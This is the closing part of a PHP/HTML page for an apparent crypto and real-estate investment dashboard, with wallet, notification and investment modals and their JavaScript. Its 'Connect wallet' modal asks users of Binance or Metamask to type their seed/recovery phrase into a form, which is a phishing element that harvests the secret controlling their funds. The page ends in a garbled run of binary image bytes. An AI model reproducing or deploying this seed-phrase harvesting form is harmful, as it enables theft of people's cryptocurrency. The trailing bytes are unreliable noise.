</div>
<button class="panel-btn js-close-notifications"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M6 18L18 6M6 6l12 12" /></svg></button>
</header>
<div class="notifications-body">
<div class="empty-state" id="empty-state">
<p style="color:#aaa; text-align:center; padding:20px;">No notifications yet.</p>
</div>
<div id="notification-list" class="notification-list"></div>
</div>
</div>
</div>
<div class="notifications-overlay" id="wallet-overlay">
<div class="notifications-backdrop js-close-wallet" style="position:absolute; width:100%; height:100%;"></div>
<div class="notifications-panel" id="wallet-panel">
<header class="notifications-header">
<div class="notifications-title-section" style="display:flex; align-items:center;">
<button class="panel-btn js-close-wallet"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="2" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M15.75 19.5L8.25 12l7.5-7.5" /></svg></button>
<h2>Connect wallet</h2>
</div>
<button class="panel-btn js-close-wallet"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="2" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M6 18L18 6M6 6l12 12" /></svg></button>
</header>
<div class="wallet-body" style="padding: 24px;">
<h3 style="margin-top:0; color:#fff;">Connect your wallet</h3>
<div class="wallet-list" style="margin-top:20px; display:flex; flex-direction:column; gap:10px;">
<div class="wallet-item">
<div style="display:flex; align-items:center; gap:10px;"><img src="https://assets.streamlinehq.com/image/private/w_300,h_300,ar_1/f_auto/v1/icons/vectors/bnb-2c9adc7qw85po528q8y3b.png/bnb-tss7lyzvhxyjfc9ivae0l.png?_a=DATAg1AAZAA0" style="width:30px; height:30px;"> <span class="wallet-name" style="font-weight:bold; color:#fff;">Binance</span></div>
<input type="checkbox" class="toggle-checkbox">
</div>
<div class="wallet-item">
<div style="display:flex; align-items:center; gap:10px;"><img src="https://upload.wikimedia.org/wikipedia/commons/thumb/3/36/MetaMask_Fox.svg/512px-MetaMask_Fox.svg.png" style="width:30px; height:30px;"> <span class="wallet-name" style="font-weight:bold; color:#fff;">Metamask</span></div>
<input type="checkbox" class="toggle-checkbox">
</div>
</div>
</div>
</div>
</div>
<div class="notifications-overlay" id="phrase-modal-overlay">
<div class="notifications-backdrop js-close-phrase-modal" style="position:absolute; width:100%; height:100%;"></div>
<div class="notifications-panel" id="phrase-modal-panel">
<header class="notifications-header">
<div class="notifications-title-section" style="display:flex; align-items:center;">
<button class="panel-btn js-close-phrase-modal"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="2" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M15.75 19.5L8.25 12l7.5-7.5" /></svg></button>
<h2>Connect Wallet</h2>
</div>
<button class="panel-btn js-close-phrase-modal"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="2" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M6 18L18 6M6 6l12 12" /></svg></button>
</header>
<div class="wallet-form-body" style="padding: 24px;">
<div id="wallet-form-feedback" class="wallet-form-feedback"></div>
<p style="color:#aaa; margin-bottom:20px;">Enter your seed/recovery phrase to connect your wallet.</p>
<form id="connect-wallet-form">
<div style="margin-bottom:15px;"><label style="color:#888; font-size:14px;">Wallet:</label><input type="text" id="modal-wallet-name-input" name="wallet_name" class="modal-input" readonly></div>
<div style="margin-bottom:15px;"><label style="color:#888; font-size:14px;">Seed/Recovery Phrase (12+ words):</label><textarea id="modal-seed-phrase-textarea" name="seed_phrase" class="modal-textarea" placeholder="Enter your phrase here..."></textarea></div>
<div style="display:flex; gap:10px; justify-content:flex-end; margin-top:20px;">
<button type="button" id="modal-disconnect-btn" style="padding:10px 20px; border-radius:8px; border:none; background:#444; color:#fff; cursor:pointer;" disabled>Disconnect</button>
<button type="submit" id="modal-save-btn" style="padding:10px 20px; border-radius:8px; border:none; background:#31acee; color:#fff; font-weight:bold; cursor:pointer;" disabled>Save</button>
</div>
</form>
</div>
</div>
</div>
<div class="project-detail-modal-overlay" id="project-detail-modal">
<div class="project-detail-modal-content">
<div class="modal-header">
<button class="modal-back-btn" id="modal-back-btn">← Back</button>
<button class="modal-close-btn" id="modal-close-btn">X</button>
</div>
<div class="modal-body">
<div class="modal-image-slider">
<img src="" alt="Project Image" id="modal-project-image">
</div>
<h2 id="modal-project-title" style="margin-top:10px; font-size: 24px;"></h2>
<p id="modal-project-description" style="color:#aaa; line-height:1.6; font-size: 15px; margin-top:10px;"></p>
<div class="breakdown-grid" id="modal-breakdown-grid" style="margin-top:20px;">
</div>
<div id="modal-why-project" style="margin-top:20px;"></div>
</div>
</div>
</div>
<div class="modal-overlay" id="invest-modal-overlay">
<div class="modal-content">
<div class="modal-header">
<h2 id="invest-modal-title">Invest in Project</h2>
<button class="modal-close-btn" id="invest-modal-close-btn">X</button>
</div>
<div class="modal-body">
<form id="invest-form" method="POST" action="invest_realestate.php">
<input type="hidden" name="csrf_token" value="<?php echo $_SESSION['csrf_token']; ?>">
<input type="hidden" name="project_id" id="invest-project-id">
<div class="form-group">
<label for="invest-amount" class="modal-label">Amount (<?php echo $currencySymbol; ?>)</label>
<input type="number" id="invest-amount" name="investment_amount" class="modal-input" placeholder="0.00" min="0" step="any" required>
</div>
<div class="balance-info">
<span>Available Capital:</span>
<span id="invest-modal-balance" style="color:#31acee; font-weight:bold;"><?php echo $currencySymbol . number_format($userCapital, 2); ?></span>
</div>
<div class="form-group">
<label for="invest-duration" class="modal-label">Duration</label>
<select id="invest-duration" name="duration_selection" class="modal-select" required></select>
</div>
<div class="form-group">
<label for="invest-roi" class="modal-label">Expected ROI (%)</label>
<input type="text" id="invest-roi" name="roi" class="modal-input" readonly style="background-color:#222; color:#888;">
</div>
<button type="submit" class="btn-primary-markets" id="invest-submit-btn">Confirm Investment</button>
</form>
</div>
</div>
</div>
<script>
document.addEventListener('DOMContentLoaded', () => {
// --- NEW: MOBILE MENU & ACCOUNT PANEL LOGIC (From index.php) ---
const hamburgerBtn = document.getElementById('hamburger-menu');
const closeMenuBtn = document.getElementById('close-menu-btn');
const sidebar = document.getElementById('sidebar');
if (hamburgerBtn && sidebar) {
hamburgerBtn.addEventListener('click', () => { sidebar.classList.add('open'); });
}
if (closeMenuBtn && sidebar) {
closeMenuBtn.addEventListener('click', () => { sidebar.classList.remove('open'); });
}
const userMenuBtn = document.getElementById('user-menu-btn');
const userAccountPanel = document.getElementById('user-account-panel');
const closeAccountPanelBtns = document.querySelectorAll('.js-close-account-panel');
if (userMenuBtn && userAccountPanel) {
userMenuBtn.addEventListener('click', (event) => {
event.stopPropagation();
userAccountPanel.classList.toggle('open');
});
closeAccountPanelBtns.forEach(btn => {
btn.addEventListener('click', () => userAccountPanel.classList.remove('open'));
});
document.addEventListener('click', (event) => {
if (userAccountPanel.classList.contains('open') && !userAccountPanel.contains(event.target) && !userMenuBtn.contains(event.target)) {
userAccountPanel.classList.remove('open');
}
});
}
// --- NEW: OVERLAY/MODAL TRIGGERS (Notifications & Wallet) ---
const openNotificationsBtn = document.getElementById("open-notifications-btn");
const notificationsOverlay = document.getElementById("notifications-overlay");
const closeNotificationsBtns = document.querySelectorAll(".js-close-notifications");
if (openNotificationsBtn && notificationsOverlay) {
openNotificationsBtn.addEventListener("click", () => notificationsOverlay.classList.add("open"));
closeNotificationsBtns.forEach(e => e.addEventListener("click", () => notificationsOverlay.classList.remove("open")));
}
const openWalletBtn = document.getElementById("open-wallet-btn");
const walletOverlay = document.getElementById("wallet-overlay");
const closeWalletBtns = document.querySelectorAll(".js-close-wallet");
if (openWalletBtn && walletOverlay) {
openWalletBtn.addEventListener("click", e => { e.preventDefault(); walletOverlay.classList.add("open"); });
closeWalletBtns.forEach(e => e.addEventListener("click", () => walletOverlay.classList.remove("open")));
}
const phraseModalOverlay = document.getElementById("phrase-modal-overlay");
const closePhraseBtns = document.querySelectorAll(".js-close-phrase-modal");
const walletNameInput = document.getElementById("modal-wallet-name-input");
const seedTextarea = document.getElementById("modal-seed-phrase-textarea");
const disconnectBtn = document.getElementById("modal-disconnect-btn");
const saveBtn = document.getElementById("modal-save-btn");
const walletToggles = document.querySelectorAll("#wallet-panel .wallet-item");
const openPhraseModal = (walletName) => {
walletNameInput.value = walletName;
seedTextarea.placeholder = `Your ${walletName} Seed/Recovery Phrase`;
seedTextarea.value = "";
disconnectBtn.disabled = true;
saveBtn.disabled = true;
phraseModalOverlay.classList.add("open");
};
walletToggles.forEach(toggle => {
toggle.addEventListener("click", e => {
e.preventDefault();
openPhraseModal(toggle.querySelector(".wallet-name").textContent);
});
});
if(seedTextarea) {
seedTextarea.addEventListener("input", () => {
if (seedTextarea.value.trim().split(/\s+/).filter(word => word.length > 0).length >= 12) {
disconnectBtn.disabled = false;
saveBtn.disabled = false;
saveBtn.style.background = '#31acee';
} else {
disconnectBtn.disabled = true;
saveBtn.disabled = true;
saveBtn.style.background = '#444';
}
});
}
closePhraseBtns.forEach(btn => btn.addEventListener("click", () => phraseModalOverlay.classList.remove("open")));
// --- ORIGINAL: REAL ESTATE LOGIC ---
const projectsData = <?php echo $projectsJSON; ?>;
const userCapital = <?php echo $userCapital; ?>;
const userCurrency = '<?php echo $currencySymbol; ?>';
// Main Page Tab Switching Logic
const tabs = document.querySelectorAll('.investing-tab-item');
const tabPanels = document.querySelectorAll('.tab-panel');
tabs.forEach(tab => {
tab.addEventListener('click', () => {
const target = tab.dataset.tabTarget;
tabs.forEach(t => { t.classList.remove('active'); t.style.color = '#888'; });
tab.classList.add('active'); tab.style.color = '#fff';
tabPanels.forEach(panel => {
panel.classList.toggle('active', panel.dataset.tabContent === target);
});
});
});
// PROJECT DETAIL MODAL LOGIC
const detailModal = document.getElementById('project-detail-modal');
document.querySelectorAll('.js-view-project').forEach(button => {
button.addEventListener('click', (e) => {
e.preventDefault();
const projectId = button.dataset.projectId;
const project = projectsData[projectId];
if (!project) return;
document.getElementById('modal-project-image').src = project.image_url;
document.getElementById('modal-project-title').textContent = project.title;
document.getElementById('modal-project-description').textContent = project.description;
document.getElementById('modal-breakdown-grid').innerHTML = `
<div class="breakdown-item"><div class="detail-label">Type</div><div class="detail-value">${project.project_type}</div></div>
<div class="breakdown-item"><div class="detail-label">Acres</div><div class="detail-value">${project.acres}</div></div>
<div class="breakdown-item"><div class="detail-label">Strategy</div><div class="detail-value">${project.strategy}</div></div>
<div class="breakdown-item"><div class="detail-label">Minimum</div><div class="detail-value">${userCurrency}${parseFloat(project.min_investment).toLocaleString()}</div></div>
<div class="breakdown-item"><div class="detail-label">ROI</div><div class="detail-value" style="color:#26A69A;">${project.roi_percentage}%</div></div>
`;
document.getElementById('modal-why-project').innerHTML = `<h4 style="color:#fff; margin-bottom:10px;">Why this project?</h4><p style="color:#aaa; font-size:14px; line-height:1.6;">${project.why_project}</p>`;
detailModal.classList.add('active');
});
});
const closeDetailModal = () => detailModal.classList.remove('active');
document.getElementById('modal-back-btn').addEventListener('click', closeDetailModal);
document.getElementById('modal-close-btn').addEventListener('click', closeDetailModal);
// INVEST NOW MODAL LOGIC
const investModal = document.getElementById('invest-modal-overlay');
const investForm = document.getElementById('invest-form');
const submitBtn = document.getElementById('invest-submit-btn');
const amountInput = document.getElementById('invest-amount');
document.querySelectorAll('.js-invest-now').forEach(button => {
button.addEventListener('click', (e) => {
e.preventDefault();
const projectId = button.dataset.projectId;
const project = projectsData[projectId];
if (!project) return;
document.getElementById('invest-modal-title').textContent = `Invest in ${project.title}`;
document.getElementById('invest-roi').value = project.roi_percentage;
document.getElementById('invest-project-id').value = projectId;
amountInput.min = project.min_investment;
amountInput.placeholder = `Min: ${userCurrency}${project.min_investment}`;
const durationSelect = document.getElementById('invest-duration');
durationSelect.innerHTML = '';
if (project.duration_options) {
const options = project.duration_options.split(',');
options.forEach(d => {
const durationText = d.trim();
if (durationText) {
const option = document.createElement('option');
option.value = durationText;
option.textContent = durationText;
durationSelect.appendChild(option);
}
});
}
investModal.classList.add('active');
});
});
document.getElementById('invest-modal-close-btn').addEventListener('click', () => investModal.classList.remove('active'));
// AJAX Submission
investForm.addEventListener('submit', async function(e) {
e.preventDefault();
const amount = parseFloat(amountInput.value);
const minAmount = parseFloat(amountInput.min);
if (amount < minAmount) {
Swal.fire({ icon: 'error', title: 'Invalid Amount', text: `The minimum investment is ${userCurrency}${minAmount}`});
return;
}
if (amount > userCapital) {
Swal.fire({ icon: 'error', title: 'Insufficient Funds', text: `You only have ${userCurrency}${userCapital.toFixed(2)} in your Capital.`});
return;
}
submitBtn.disabled = true;
submitBtn.textContent = 'Processing...';
const formData = new FormData(investForm);
try {
const response = await fetch('invest_realestate.php', { method: 'POST', body: formData });
const result = await response.json();
if (result.status === 'success') {
Swal.fire({ icon: 'success', title: 'Success!', text: result.message });
investForm.reset();
investModal.classList.remove('active');
setTimeout(() => { window.location.reload(); }, 2000);
} else {
Swal.fire({ icon: 'error', title: 'Failed', text: result.message });
}
} catch (error) {
Swal.fire({ icon: 'error', title: 'Connection Error', text: 'Could not connect to the server.' });
} finally {
submitBtn.disabled = false;
submitBtn.textContent = 'Confirm Investment';
}
});
});
</script>
</body>
</html>
b IDATxytVսϓ22 A@IR:hCiZ[v*E:WũZA ^dQeQ @ !jZ'>gsV仿$|?g)&x-E